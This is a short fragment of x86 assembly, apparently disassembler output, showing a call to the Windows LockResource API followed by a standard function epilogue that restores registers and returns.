push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_LockResource
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret